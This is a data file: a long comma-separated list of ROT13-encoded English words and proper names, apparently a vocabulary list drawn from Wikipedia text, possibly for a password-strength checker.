kcbfrf,zbberq,evqrefuvc,zbggr,rhebonfxrg,znwbevat,srngf,fvyyn,yngrenyyl,cynlyvfg,qbjajneqf,zrgubqbybtvrf,rnfgobhear,qnvzlb,pryyhybfr,yrlgba,abejnyx,boybat,uvoreavna,bcndhr,vafhyne,nyyrtbel,pnzbtvr,vanpgvingvba,snibevat,znfgrecvrprf,evacbpur,frebgbava,cbegenlnyf,jnireyrl,nveyvare,ybatsbeq,zvavznyvfg,bhgfbhepvat,rkpvfr,zrlevpx,dnfvz,betnavfngvbany,flancgvp,snezvatgba,tbetrf,fphagubecr,mbarq,gbubxh,yvoenevnaf,qninb,qrpbe,gurngevpnyyl,oeragjbbq,cbzban,npdhverf,cynagre,pncnpvgbef,flapuebabhf,fxngrobneqvat,pbngvatf,gheobpunetrq,rcuenvz,pncvghyngvba,fpberobneq,uroevqrf,rafhrf,prernyf,nvyvat,pbhagrecbvag,qhcyvpngvba,nagvfrzvgvp,pyvdhr,nvpuv,bccerffvir,genafpraqragny,vaphefvbaf,eranzr,erahzorevat,cbjlf,irfgel,ovggreyl,arhebybtl,fhccynagrq,nssvar,fhfprcgvovyvgl,beovgre,npgvingvat,bireyncf,rpbertvba,enzna,pnabre,qneshe,zvpebbetnavfzf,cerpvcvgngrq,cebgehqvat,gbeha,naguebcbybtvfgf,eraarf,xnatnebbf,cneyvnzragnevnaf,rqvgf,yvggbeny,nepuvirq,orthz,eraffrynre,zvpebcubarf,lcerf,rzcbjre,rgehfpna,jvfqra,zbagsbeg,pnyvoengvba,vfbzbecuvp,evbgvat,xvatfuvc,ireonyyl,fzlean,pburfvir,pnalbaf,serqrevpxfohet,enuhy,eryngvivfgvp,zvpebcbyvgna,znebbaf,vaqhfgevnyvmrq,urapuzra,hcyvsg,rnegujbexf,znuqv,qvfcnevgl,phygherq,genafyvgrengvba,fcval,sentzragnel,rkgvathvfurq,nglcvpny,vairagbef,ovbflagurfvf,urenyqrq,phenpnb,nabznyvrf,nrebcynar,fheln,znatnyber,znnfgevpug,nfuxranmv,shfvyvref,unatmubh,rzvggvat,zbazbhgufuver,fpujnemrarttre,enznlnan,crcgvqrf,guvehinanagunchenz,nyxnyv,pbvzoen,ohqqvat,ernfbarq,rcvguryvny,uneobef,ehqvzragnel,pynffvpnyyl,cnedhr,rnyvat,pehfnqrf,ebgngvbaf,evcnevna,cltzl,varegvn,eribygrq,zvpebcebprffbe,pnyraqnef,fbyiragf,xevrtfznevar,nppnqrzvn,purfuzru,lbehon,neqnovy,zvgen,trabzvp,abgnoyrf,cebcntngr,aneengrf,havivfvba,bhgcbfgf,cbyvb,ovexraurnq,hevanel,pebpbqvyrf,crpgbeny,oneelzber,qrnqyvrfg,ehcrrf,punvz,cebgbaf,pbzvpny,nfgebculfvpf,havslvat,sbezhyn_23,inffnyf,pbegvpny,nhqhoba,crqnyf,graqref,erfbegrq,trbculfvpny,yraqref,erpbtavfvat,gnpxyvat,ynanexfuver,qbpgevany,naana,pbzongvat,thnatkv,rfgvzngvat,fryrpgbef,gevohanyf,punzorerq,vaunovgvat,rkrzcgvbaf,phegnvyrq,noonfvq,xnaqnune,obeba,ovffnh,150gu,pbqranzrq,jrnere,jubey,nqurerq,fhoirefvir,snzre,fzrygvat,vafregvat,zbtnqvfuh,mbbybtvfg,zbfhy,fghzcf,nyznanp,bylzcvnpbf,fgnzraf,cnegvpvcngbel,phygf,ubarlpbzo,trbybtvfgf,qvivqraq,erphefvir,fxvref,ercevag,cnaqrzvp,yvore,crepragntrf,nqirefryl,fgbccntr,puvrsgnvaf,ghovatra,fbhgureyl,birepebjqvat,habetnavmrq,unatnef,shysvy,unvyf,pnagvyrire,jbbqoevqtr,cvahf,jvrfonqra,sregvyvmngvba,syhberfprapr,raunaprf,cyranel,gebhoyrfbzr,rcvfbqvp,guevffhe,xvpxobkvat,nyyryr,fgnssvat,tneqn,gryrivfvbaf,cuvyngryvp,fcnprgvzr,ohyycra,bkvqrf,yravavfg,raebyyvat,vairagvir,geheb,pbzcngevbg,ehfxva,abezngvir,nffnl,tbgun,zhenq,vyynjneen,traqnezrevr,fgenffr,znmenru,erobhaqrq,snasner,yvnbavat,erzoenaqg,venavnaf,rzvengr,tbireaf,yngrapl,jngresbjy,punvezra,xngbjvpr,nevfgbpengf,rpyvcfrq,fragvrag,fbangnf,vagrecynl,fnpxvat,qrprcgvpbaf,qlanzvpny,neovgenevyl,erfbanag,crgne,irybpvgvrf,nyyhqrf,jnfgrf,cersrpgherf,oryyrivyyr,frafvovyvgl,fnyinqbena,pbafbyvqngvat,zrqvpnvq,genvarrf,ivirxnanaqn,zbyne,cbebhf,hcybnq,lbhatfgre,vashfrq,qbpgbengrf,jhuna,naavuvyngvba,raguhfvnfgvpnyyl,tnzrfcbg,xnache,npphzhyngvat,zbabenvy,bcrerggn,gvyvat,fnccbeb,svaaf,pnyivavfg,ulqebpneoba,fcneebjf,bevragrrevat,pbearyvf,zvafgre,ihrygn,cyrovfpvgr,rzoenprf,cnapunlngf,sbphffrq,erzrqvngvba,oenuzna,bysnpgbel,errfgnoyvfurq,havdhrarff,abeguhzoevn,ejnaqna,cerqbzvangryl,nobqr,tungf,onynaprf,pnyvsbeavna,hcgnxr,oehtrf,vareg,jrfgreaf,ercevagf,pnvea,lneen,erfhesnprq,nhqvoyr,ebffvav,ertrafohet,vgnyvnan,syrful,veevtngrq,nyregf,lnuln,inenanfv,znetvanyvmrq,rkcngevngrf,pnagbazrag,abeznaqvr,fnuvgln,qverpgvirf,ebhaqre,uhyyf,svpgvbanyvmrq,pbafgnoyrf,vafregf,uvccrq,cbgbfv,anivrf,ovbybtvfgf,pnagrra,uhfonaqel,nhtzrag,sbegavtug,nffnzrfr,xnzcnyn,b'xrrsr,cnyrbyvguvp,oyhvfu,cebzbagbel,pbafrphgviryl,fgevivat,avnyy,erhavgvat,qvcbyr,sevraqyvrf,qvfnccebirq,guevirq,argsyvk,yvorevna,qvryrpgevp,zrqjnl,fgengrtvfg,fnaxg,cvpxhcf,uvggref,rapbqr,erebhgrq,pynvznagf,natyrfrl,cnegvgvbarq,pnina,syhgrf,ernerq,ercnvagrq,neznzragf,objrq,gubenpvp,onyyvby,cvreb,puncynvaf,qrurfgna,fraqre,whaxref,fvaquv,fvpxyr,qvivqraqf,zrgnyyhetl,ubabevsvp,oreguf,anzpb,fcevatobneq,erfrggyrq,tnafh,pbclevtugrq,pevgvpvmrf,hgbcvna,oraqvtb,binevna,ovabzvny,fcnprsyvtug,bengbevb,cebcevrgbef,fhcretebhc,qhcyvpngrq,sbertebhaq,fgebatubyqf,eribyirq,bcgvzvmr,ynlbhgf,jrfgynaq,uheyre,naguebcbzbecuvp,rkpryfvbe,zrepunaqvfvat,errqf,irgbrq,pelcgbtencul,ubyylbnxf,zbanfu,sybbevat,vbavna,erfvyvrapr,wbuafgbja,erfbyirf,ynjznxref,nyrter,jvyqpneqf,vagbyrenapr,fhophygher,fryrpgbe,fyhzf,sbezhyngr,onlbarg,vfgina,erfgvghgvba,vagrepunatrnoyl,njnxraf,ebfgbpx,frecragvar,bfpvyyngvba,ervpufgnt,curabglcr,erprffrq,cvbge,naabgngrq,cercnerqarff,pbafhygngvbaf,pynhfhen,cersreragvny,rhgunanfvn,trabrfr,bhgpebcf,serrznfbael,trbzrgevpny,trarfrr,vfyrgf,cebzrgurhf,cnanznavna,guhaqreobyg,greenprq,fgnen,fuvcjerpxf,shgroby,snebrfr,funedv,nyqrezra,mrvghat,havsl,sbezhyn_24,uhznavfz,flagnpgvp,rnegura,oylgu,gnkrq,erfpvaqrq,fhyrvzna,plzeh,qjvaqyrq,ivgnyvgl,fhcrevrher,erfhccyl,nqbycur,neqraarf,enwvi,cebsvyvat,bylzcvdhr,trfgngvba,vagresnvgu,zvybfrivp,gntyvar,sharenel,qehmr,fvyirel,cybhtu,fuehoynaq,erynhapu,qvfonaq,ahangnx,zvavzvmvat,rkprffviryl,jnarq,nggnpuvat,yhzvabfvgl,ohtyr,rapnzczrag,ryrpgebfgngvp,zvarfjrrcre,qhoebiavx,ehsbhf,terrabpx,ubpufpuhyr,nfflevnaf,rkgenpgvat,znyahgevgvba,cevln,nggnvazrag,nauhv,pbaabgngvbaf,cerqvpngr,frnoveqf,qrqhprq,cfrhqbalzf,tbcny,cybiqvi,ersvarevrf,vzvgngrq,xjnmhyh,greenpbggn,grargf,qvfpbhefrf,oenaqrvf,juvtf,qbzvavbaf,chyzbangr,ynaqfyvqrf,ghgbef,qrgrezvanag,evpuryvrh,snezfgrnq,ghorepyrf,grpuavpbybe,urtry,erqhaqnapl,terracrnpr,fubegravat,zhyrf,qvfgvyyrq,kkvvv,shaqnzragnyvfg,npelyvp,bhgohvyqvatf,yvtugrq,pbenyf,fvtanyrq,genafvfgbef,pnivgr,nhfgrevgl,76ref,rkcbfherf,qvbalfvhf,bhgyvavat,pbzzhgngvir,crezvffvoyr,xabjyrqtrnoyr,ubjenu,nffrzoyntr,vauvovgrq,perjzra,zovg/f,clenzvqny,noreqrrafuver,orevat,ebgngrf,ngurvfz,ubjvgmre,fnbar,ynaprg,srezragrq,pbagenqvpgrq,zngrevry,bsfgrq,ahzrevp,havsbezvgl,wbfrcuhf,anmnerar,xhjnvgv,aboyrzra,crqvzrag,rzretrag,pnzcnvtare,nxnqrzv,zhepvn,crehtvn,tnyyra,nyyfirafxna,svaarq,pnivgvrf,zngevphyngvba,ebfgref,gjvpxraunz,fvtangbel,cebcry,ernqnoyr,pbagraqf,negvfna,synzoblnag,erttvb,vgnyb,shzoyrf,jvqrfperra,erpgnatyr,pragvzrgerf,pbyynobengrf,raiblf,evwrxn,cubabybtvpny,guvayl,ersenpgvir,pvivyvfngvba,erqhpgnfr,pbtangr,qnyubhfvr,zbagvpryyb,yvtugubhfrf,wvgfh,yharohet,fbpvnyvgr,srezv,pbyyrpgvoyr,bcgvbarq,znedhrr,wbxvatyl,nepuvgrpghenyyl,xnove,pbaphovar,angvbanyvfngvba,jngrepbybe,jvpxybj,npuneln,cbbwn,yrvoavm,enwraqen,angvbanyvmrq,fgnyrzngr,oybttref,tyhgnzngr,hcynaqf,fuvinwv,pnebyvatvna,ohpherfgv,qnfug,ernccrnef,zhfpng,shapgvbanyyl,sbezhyngvbaf,uvatrq,unvana,pngrpuvfz,nhgbfbzny,vaperzragny,nfnuv,pbrhe,qvirefvsvpngvba,zhygvyngreny,srjrfg,erpbzovangvba,svavfure,uneebtngr,unathy,srnfgf,cubgbibygnvp,cntrg,yvdhvqvgl,nyyhqrq,vaphongvba,nccynhqrq,pubehfrf,znyntnfl,uvfcnavpf,ordhrfg,haqrecnegf,pnffnin,xnmvzvrem,tnfgevp,renqvpngvba,zbjgbje,glebfvar,nepuovfubcevp,r9r9r9,hacebqhpgvir,hkoevqtr,ulqebylfvf,uneobhef,bssvpvb,qrgrezvavfgvp,qribacbeg,xnantnjn,oernpurf,serrgbja,euvabprebf,punaqvtneu,wnabf,fnangbevhz,yvorengbe,vardhnyvgvrf,ntbavfg,ulqebcubovp,pbafgehpgbef,antbeab,fabjobneqvat,jrypbzrf,fhofpevorq,vybvyb,erfhzvat,pngnylfgf,fgnyyvbaf,wnjnuneyny,uneevref,qrsvavgviryl,ebhtuevqref,uregsbeq,vauvovgvat,rytne,enaqbzvmrq,vaphzoragf,rcvfpbcngr,envasberfgf,lnatba,vzcebcreyl,xrzny,vagrecergref,qviretrq,hggnenxunaq,hznllnq,cuabz,cnanguvanvxbf,funoong,qvbqr,wvnatkv,sbeovqqvat,abmmyr,negvfgel,yvprafrr,cebprffvbaf,fgnssf,qrpvzngrq,rkcerffvbavfz,fuvatyr,cnyfl,bagbybtl,znunlnan,znevobe,fhavy,ubfgryf,rqjneqvna,wrggl,serrubyq,bireguerj,rhxnelbgvp,fpuhlyxvyy,enjnycvaqv,furngu,erprffvir,srerap,znaqvoyrf,oreyhfpbav,pbasrffbe,pbairetrag,nonon,fyhttvat,eragnyf,frcuneqvp,rdhvinyragyl,pbyyntra,znexbi,qlanzvpnyyl,unvyvat,qrcerffvbaf,fcenjyvat,snvetebhaqf,vaqvfgvathvfunoyr,cyhgnepu,cerffhevmrq,onass,pbyqrfg,oenhafpujrvt,znpxvagbfu,fbpvrqnq,jvggtrafgrva,gebzfb,nveonfr,yrpgheref,fhogvgyr,nggnpurf,chevsvrq,pbagrzcyngrq,qernzjbexf,gryrcubal,cebcurgvp,ebpxynaq,nlyrfohel,ovfpnl,pburerapr,nyrxfnaqne,whqbxn,cntrnagf,gurfrf,ubzryrffarff,yhgube,fvgpbzf,uvagreynaq,svsguf,qrejrag,cevingrref,ravtzngvp,angvbanyvfgvp,vafgehpgf,fhcrevzcbfrq,pbasbezngvba,gevplpyr,qhfna,nggevohgnoyr,haorxabjafg,yncgbcf,rgpuvat,nepuovfubcf,nlngbyynu,penavny,tuneov,vagrecergf,ynpxnjnaan,novatqba,fnygjngre,gbevrf,yraqre,zvanw,napvyynel,enapuvat,crzoebxrfuver,gbcbtencuvpny,cyntvnevfz,zhebat,znedhr,punzryrba,nffregvbaf,vasvygengrq,thvyqunyy,erirerapr,fpurarpgnql,sbezhyn_25,xbyynz,abgnel,zrkvpnan,vavgvngrf,noqvpngvba,onfen,gurberzf,vbavmngvba,qvfznagyvat,rnerq,prafbef,ohqtrgnel,ahzreny,ireynt,rkpbzzhavpngrq,qvfgvathvfunoyr,dhneevrq,pntyvnev,uvaqhfgna,flzobyvmvat,jngregbja,qrfpnegrf,erynlrq,rapybfherf,zvyvgnevyl,fnhyg,qribyirq,qnyvna,qwbxbivp,svynzragf,fgnhagba,ghzbhe,phevn,ivyynvabhf,qrpragenyvmrq,tnyncntbf,zbapgba,dhnegrgf,bafperra,arpebcbyvf,oenfvyrveb,zhygvchecbfr,nynzbf,pbznepn,wbetra,pbapvfr,zrepvn,fnvgnzn,ovyyvneqf,ragbzbybtvfg,zbagfreeng,yvaqoretu,pbzzhgvat,yrguoevqtr,cubravpvna,qrivngvbaf,nanrebovp,qrabhapvat,erqbhog,snpuubpufpuhyr,cevapvcnyvgvrf,artebf,naabhapref,frpbaqrq,cneebgf,xbanzv,erivinyf,nccebivat,qribgrr,evlnqu,biregbbx,zberpnzor,yvpura,rkcerffvbavfg,jngreyvar,fvyirefgbar,trssra,fgreavgrf,nfcvengvba,orunivbheny,teraivyyr,gevchen,zrqvhzf,traqref,clbge,puneybggrfivyyr,fnpenzragf,cebtenzznoyr,cf100,funpxyrgba,tnebaar,fhzrevna,fhecnff,nhgubevmvat,vagreybpxvat,yntbbaf,ibvpryrff,nqireg,fgrrcyr,oblpbggrq,nybhrggrf,lbfrs,bkvqngvir,fnffnavq,orarsvgvat,fnllvq,anheh,cerqrgrezvarq,vqrnyvfz,znkvyynel,cbylzrevmngvba,frzrfgref,zhapura,pbabe,bhgsvggrq,pyncunz,cebtravgbe,turbetur,bofreingvbany,erpbtavgvbaf,ahzrevpnyyl,pbybavmrq,unmeng,vaqber,pbagnzvanagf,sngnyvgl,renqvpngr,nfflevn,pbaibpngvba,pnzrbf,fxvyyshy,fxbqn,pbesh,pbashpvhf,biregyl,enznqna,jbyybatbat,cynprzragf,q.p..,crezhgngvba,pbagrzcbenarbhf,ibygntrf,ryrtnaf,havirefvgng,fnzne,cyhaqre,qjvaqyvat,arhgre,nagbava,fvaunyn,pnzcnavn,fbyvqvsvrq,fgnamnf,svoebhf,zneohet,zbqreavmr,fbeprel,qrhgfpure,sybergf,gunxhe,qvfehcgvir,vasvryqre,qvfvagrtengvba,vagreanmvbanyr,ivpnevngr,rssvtl,gevcnegvgr,pbeerpgvir,xynzngu,raivebaf,yrnirajbegu,fnaquhefg,jbexzra,pbzcntavr,ubfrlanonq,fgenob,cnyvfnqrf,beqbivpvna,fvtheq,tenaqfbaf,qrsrpgvba,ivnpbz,fvaunyrfr,vaabingbe,hapbagebyyrq,fynibavp,vaqrkrf,ersevtrengvba,nveperj,fhcreovxr,erfhzcgvba,arhfgnqg,pbasebagngvbaf,neenf,uvaqraohet,evcba,rzorqqvat,vfbzbecuvfz,qjneirf,zngpuhc,havfba,ybsgl,netbf,ybhgu,pbafgvghgvbanyyl,genafvgvir,arjvatgba,snpryvsg,qrtrarengvba,creprcghny,nivngbef,rapybfvat,vtarbhf,flzobyvpnyyl,npnqrzvpvna,pbafgvghgvbanyvgl,vfb/vrp,fnpevsvpvny,znghengvba,ncceragvprf,ramlzbybtl,anghenyvfgvp,unwwv,neguebcbqf,noorff,ivfghyn,fphggyrq,tenqvragf,cragnguyba,rghqrf,serrqzra,zrynyrhpn,guevpr,pbaqhpgvir,fnpxivyyr,senapvfpnaf,fgevpgre,tbyqf,xvgrf,jbefuvcrq,zbafvtabe,gevbf,benyyl,gvrerq,cevznpl,obqljbex,pnfgyrsbeq,rcvqrzvpf,nyirbyne,puncryyr,purzvfgf,uvyyfobeb,fbhyshy,jneybeqf,atngv,uhthrabg,qvheany,erznexvat,yhtre,zbgbejnlf,tnhff,wnuna,phgbss,cebkvzny,onaqnv,pngpucuenfr,wbahov,bffrgvn,pbqranzr,pbqvpr_2,guebngrq,vgvarenag,purpualn,eviresebag,yrryn,ribxrq,ragnvyrq,mnzobnatn,erwbvavat,pvephvgel,unlznexrg,xunegbhz,srhqf,oenprq,zvlnmnxv,zveera,yhohfm,pnevpngher,ohggerffrf,nggevgvba,punenpgrevmrf,jvqarf,rinafgba,zngrevnyvfz,pbagenqvpgvbaf,znevfg,zvqenfu,tnvafobebhtu,hyvguv,ghexzra,ivqln,rfphryn,cngevpvna,vafcvengvbaf,erntrag,cerzvrefuvcf,uhznavfgvp,rhcuengrf,genafvgvbavat,orysel,mrqbat,nqncgvba,xnyvavatenq,ybobf,rcvpf,jnvire,pbavsrebhf,cbylqbe,vaqhpgrr,ersvggrq,zbenvar,hafngvfsnpgbel,jbefravat,cbyltnzl,enwln,arfgrq,fhotraer,oebnqfvqr,fgnzcrqref,yvathn,vapurba,cergraqre,crybgba,crefhnqvat,rkpvgngvba,zhygna,cerqngrf,gbaar,oenpxvfu,nhgbvzzhar,vafhyngrq,cbqpnfgf,vendvf,obqlohvyqvat,pbaqbzvavhzf,zvqybguvna,qrysg,qrogbe,nflzzrgevpny,ylpnravqnr,sbeprshyyl,cngubtravp,gnznhyvcnf,naqnzna,vagenirabhf,nqinaprzragf,frartnyrfr,puebabybtvpnyyl,ernyvtarq,vadhvere,rhfrovhf,qrxnyo,nqqvgvirf,fubegyvfg,tbyqjngre,uvaqhfgnav,nhqvgvat,pngrecvyynef,crfgvpvqr,anxuba,vatrfgvba,ynafqbjar,genqvgvbanyvfg,abeguynaq,guhaqreoveqf,wbfvc,abzvangvat,ybpnyr,iragevphyne,navzngbef,irenaqnu,rcvfgyrf,fheirlbef,nagurzf,qerqq,hcurniny,cnffnvp,nangbyvna,finyoneq,nffbpvngvir,sybbqcynva,gnenanxv,rfghnevrf,veerqhpvoyr,ortvaaref,unzzrefgrva,nyybpngr,pbhefrjbex,frpergrq,pbhagrenpg,unaqjevggra,sbhaqngvbany,cnffbire,qvfpbirere,qrpbqvat,jnerf,obhetrbvfvr,cynltebhaqf,anmvbanyr,nooerivngvbaf,frnanq,tbyna,zvfuen,tbqninev,eroenaqvat,nggraqnaprf,onpxfgbel,vagreehcgf,yrggrerq,unfoeb,hygenyvtug,ubezbmtna,nezrr,zbqrear,fhoqhr,qvfhfr,vzcebivfngvbany,raebyzrag,crefvfgf,zbqrengrq,pnevaguvn,ungpuonpx,vauvovgbel,pncvgnyvmrq,nangbyl,nofgenpgf,nyorzneyr,oretnzb,vafbyirapl,fragnv,pryynef,jnyybba,wbxrq,xnfuzvev,qvenp,zngrevnyvmrq,erabzvangvba,ubzbybtbhf,thfgf,rvtugrraf,pragevshtny,fgbevrq,onyhpurfgna,sbezhyn_26,cbvapner,irggry,vashevngrq,tnhtrf,fgerrgpnef,irqnagn,fgngryl,yvdhvqngrq,tbthelrb,fjvsgf,nppbhagnapl,yrirr,npnqvna,ulqebcbjre,rhfgnpr,pbzvagrea,nyybgzrag,qrfvtangvat,gbefvba,zbyqvat,veevgngvba,nrebovp,unyra,pbapregrq,cynagvatf,tneevfbarq,tenzbcubar,plgbcynfz,bafynhtug,erdhvfvgvbarq,eryvrivat,travgvir,pragevfg,wrbat,rfcnabyn,qvffbyivat,punggrewrr,fcnexvat,pbaanhtug,inerfr,newhan,pnecnguvna,rzcbjrevat,zrgrbebybtvfg,qrpnguyba,bcvbvq,uburambyyrea,sraprq,vovmn,nivbavpf,sbbgfpenl,fpehz,qvfpbhagf,svynzrag,qverpgbevrf,n.s.p,fgvssarff,dhngreanel,nqiragheref,genafzvgf,unezbavbhf,gnvmbat,enqvngvat,treznagbja,rwrpgvba,cebwrpgbef,tnfrbhf,anuhngy,ivqlnynln,avtugyvsr,erqrsvarq,ershgrq,qrfgvghgr,nevfgn,cbggref,qvffrzvangrq,qvfgnaprq,wnzoberr,xnbufvhat,gvygrq,ynxrfuber,tenvarq,vasyvpgvat,xervf,abiryvfgf,qrfpraqragf,zrmmnavar,erpnfg,sngnu,qrerthyngvba,np/qp,nhfgenyvf,xbutvyhlru,oberny,tbguf,nhgubevat,vagbkvpngrq,abacnegvfna,gurbqbfvhf,clbatlnat,fuerr,oblubbq,fnasy,cyravcbgragvnel,cubgbflagurfvf,cerfvqvhz,fvanybn,ubafuh,grkna,niravqn,genafzrzoenar,znynlf,npebcbyvf,pngnyhaln,infrf,vapbafvfgrapvrf,zrgubqvfgf,dhryy,fhvffr,onang,fvzpbr,prepyr,mrnynaqref,qvfperqvgrq,rdhvar,fntrf,cneguvna,snfpvfgf,vagrecbyngvba,pynffvslvat,fcvabss,lruhqn,pehvfrq,tlcfhz,sbnyrq,jnyynpuvn,fnenfjngv,vzcrevnyvfg,frnorq,sbbgabgrf,anxnwvzn,ybpnyrf,fpubbyznfgre,qebfbcuvyn,oevqtrurnq,vzznahry,pbhegvre,obbxfryyre,avppbyb,fglyvfgvpnyyl,cbegznagrnh,fhcreyrnthr,xbaxnav,zvyyvzrgerf,neoberny,gunawnihe,rzhyngvba,fbhaqref,qrpbzcerffvba,pbzzbaref,vashfvba,zrgubqbybtvpny,bfntr,ebpbpb,napubevat,onlerhgu,sbezhyn_27,nofgenpgvat,flzobyvmrq,onlbaar,ryrpgebylgr,ebjrq,pbeirggrf,genirefvat,rqvgbefuvc,fnzcyre,cerfvqvb,phemba,nqvebaqnpx,fjnuvyv,ernevat,oynqrq,yrzhe,cnfugha,orunivbhef,obggyvat,mnver,erpbtavfnoyr,flfgrzngvpf,yrrjneq,sbezhynr,fhoqvfgevpgf,fzvgusvryq,ivwnln,ohblnapl,obbfgvat,pnagbany,evfuv,nvesybj,xnznxhen,nqnan,rzoyrzf,ndhvsre,pyhfgrevat,uhfnla,jbbyyl,jvarevrf,zbagrffbev,gheagnoyr,rkcbaragvnyyl,pnireaf,rfcbhfrq,cvnavfgf,ibecbzzrea,ivpramn,ynggreyl,b'ebhexr,jvyyvnzfgbja,trarenyr,xbfvpr,qhvfohet,cbvebg,zneful,zvfznantrzrag,znaqnynl,qntraunz,havirefrf,puveny,enqvngrq,fgrjneqf,irtna,penaxfunsg,xletlm,nzcuvovna,plzonyf,vaserdhragyl,bssraonpu,raivebazragnyvfg,ercngevngrq,crezhgngvbaf,zvqfuvczra,ybhqbha,ersrerrq,onzoret,beanzragrq,avgevp,fryvz,genafyngvbany,qbefhz,naahapvngvba,tvccfynaq,ersyrpgbe,vasbezngvbany,ertvn,ernpgvbanel,nuzrg,jrngurevat,reyrjvar,yrtnyvmrq,orear,bpphcnag,qvinf,znavsrfgf,nanylmrf,qvfcebcbegvbangr,zvgbpubaqevn,gbgnyvgnevna,cnhyvfgn,vagrefpbcr,nanepub,pbeeryngr,oebbxsvryq,rybatngr,oehary,beqvany,cerpvapgf,ibyngvyvgl,rdhnyvfre,uvggvgr,fbznyvynaq,gvpxrgvat,zbabpuebzr,hohagh,puunggvftneu,gvgyrubyqre,enapurf,ersreraqhzf,oybbzf,nppbzzbqngrf,zregule,eryvtvbhfyl,elhxlh,ghzhyghbhf,purpxcbvagf,nabqr,zv'xznd,pnaabaonyy,chapghngvba,erzbqryyrq,nffnffvangvbaf,pevzvabybtl,nygreangrf,lbatr,cvkne,anzvovna,cvenrhf,gebaqrynt,unhgrf,yvsrobngf,fubny,ngryvre,irurzragyl,fnqng,cbfgpbqr,wnvavfz,ylpbzvat,haqvfgheorq,yhgurenaf,trabzvpf,cbcznggref,gnoevm,vfguzvna,abgpurq,nhgvfgvp,ubefunz,zvgrf,pbafrvy,oybbzfohel,frhat,ploregeba,vqevf,bireunhyrq,qvfonaqzrag,vqrnyvmrq,tbyqsvryqf,jbefuvccref,yboolvfg,nvyzragf,cntnavfz,ureonevhz,nguravnaf,zrffrefpuzvgg,snenqnl,ragnatyrq,'byln,hagerngrq,pevgvpvfvat,ubjvgmref,cneingv,yborq,qrohffl,ngbarzrag,gnqrhfm,crezrnovyvgl,zhrnat,frcnyf,qrtyv,bcgvbanyyl,shryyrq,sbyyvrf,nfgrevfx,cevfgvan,yrjvfgba,pbatrfgrq,birecnff,nssvkrq,cyrnqf,gryrpnfgf,fgnavfynhf,pelcgbtencuvp,sevrfynaq,unzfgevat,fryxvex,nagvfhoznevar,vahaqngrq,bireynl,nttertngrf,syrhe,gebyyrlohf,fntna,vofra,vaqhpgrrf,orygjnl,gvyrq,ynqqref,pnqohel,yncynpr,nfprgvp,zvpebarfvn,pbairlvat,oryyvatunz,pyrsg,ongpurf,hfnvq,pbawhtngvba,znprqba,nffvfv,ernccbvagrq,oevar,wvaanu,cenvevrf,fperrajevgvat,bkvqvmrq,qrfcngpurf,yvarneyl,sregvyvmref,oenmvyvnaf,nofbeof,jnttn,zbqreavfrq,fpbefrfr,nfuens,puneyrfgbja,rfdhr,unovgnoyr,avmual,yrggerf,ghfpnybbfn,rfcynanqr,pbnyvgvbaf,pneobulqengrf,yrtngr,irezvyvba,fgnaqneqvfrq,tnyyrevn,cflpubnanylgvp,erneenatrzrag,fhofgngvba,pbzcrgrapl,angvbanyvfrq,erfuhssyr,erpbafgehpgvbaf,zruqv,obhtnvaivyyr,erprvirefuvc,pbagenprcgvba,rayvfgzrag,pbaqhpvir,norelfgjlgu,fbyvpvgbef,qvfzvffrf,svoebfvf,zbagpynve,ubzrbjare,fheernyvfz,f.u.v.r.y.q,crertevar,pbzcvyref,1790f,cneragntr,cnyznf,emrfmbj,jbeyqivrj,rnfrq,firafxn,ubhfrzngr,ohaqrfgnt,bevtvangbe,rayvfgvat,bhgjneqf,erpvcebpvgl,sbezhyn_28,pneobulqengr,qrzbpengvpnyyl,sversvtugvat,ebzntan,npxabjyrqtrzrag,xubzrvav,pneovqr,dhrfgf,irqnf,punenpgrevfgvpnyyl,thjnungv,oevkgba,havagraqrq,oebguryf,cnevrgny,anzhe,fureoebbxr,zbyqnivna,onehpu,zvyvrh,haqhyngvat,ynhevre,rager,qvwba,rgulyrar,novyrar,urenpyrf,cnenyyryvat,prerf,qhaqnyx,snyha,nhfcvpvbhf,puvfvanh,cbynevgl,sberpybfher,grzcyngrf,bwvojr,chavp,revxffba,ovqra,onpupuna,tynpvngvba,fcvgsverf,abefx,abaivbyrag,urvqrttre,nytbadhva,pncnpvgnapr,pnffrggrf,onypbavrf,nyyryrf,nveqngr,pbairlf,ercynlf,pynffvsvrf,vaserdhrag,nzvar,phggvatf,enere,jbxvat,bybzbhp,nzevgfne,ebpxnovyyl,vyylevna,znbvfg,cbvtanag,grzcber,fgnyvavfg,frtzragrq,onaqzngr,zbyyhfp,zhunzzrq,gbgnyyrq,oleqf,graqrerq,raqbtrabhf,xbggnlnz,nvfar,bkvqnfr,bireurnef,vyyhfgengbef,ireir,pbzzrepvnyvmngvba,checyvfu,qverpgi,zbhyqrq,ylggrygba,oncgvfzny,pncgbef,fnenpraf,trbetvbf,fubegra,cbyvgl,tevqf,svgmjvyyvnz,fphyyf,vzchevgvrf,pbasrqrengvbaf,nxugne,vagnatvoyr,bfpvyyngvbaf,cnenobyvp,uneyrdhva,znhynan,bingr,gnamnavna,fvathynevgl,pbasvfpngvba,dnmiva,fcrlre,cubarzrf,biretebja,ivpnentr,thevba,haqbphzragrq,avvtngn,guebarf,cernzoyr,fgnir,vagrezrag,yvvtn,ngnghex,ncuebqvgr,tebhcr,vaqragherq,unofohetf,pncgvba,hgvyvgnevna,bmnex,fybirarf,ercebqhpgvbaf,cynfgvpvgl,freob,qhyjvpu,pnfgry,oneohqn,fnybaf,srhqvat,yrancr,jvxvyrnxf,fjnzl,oerhavat,furqqvat,nsvryq,fhcresvpvnyyl,bcrengvbanyyl,ynzragrq,bxnantna,unznqna,nppbynqr,shegurevat,nqbycuhf,slbqbe,noevqtrq,pnegbbavfgf,cvaxvfu,fhunegb,plgbpuebzr,zrgulyngvba,qrovg,pbyfcna=9|,ersvar,gnbvfg,fvtanyyrq,ureqvat,yrnirq,onlna,sngureynaq,enzcneg,frdhraprq,artngvba,fgbelgryyre,bpphcvref,oneanonf,cryvpnaf,anqve,pbafpevcgrq,envypnef,cererdhvfvgr,shegurerq,pbyhzon,pnebyvanf,znexhc,tjnyvbe,senapur,punpb,rtyvagba,enzcnegf,enatbba,zrgnobyvgrf,cbyyvangvba,pebng,gryrivfn,ubylbxr,grfgvzbavny,frgyvfg,fnsnivq,fraqnv,trbetvnaf,funxrfcrnerna,tnyyrlf,ertrarengvir,xemlfmgbs,biregbarf,rfgnqb,oneonel,pureobhet,bovfcb,fnlvatf,pbzcbfvgrf,fnvafohel,qryvorengvba,pbfzbybtvpny,znunyyru,rzoryyvfurq,nfpnc,ovnyn,cnapenf,pnyhzrg,tenaqf,pnainfrf,nagvtraf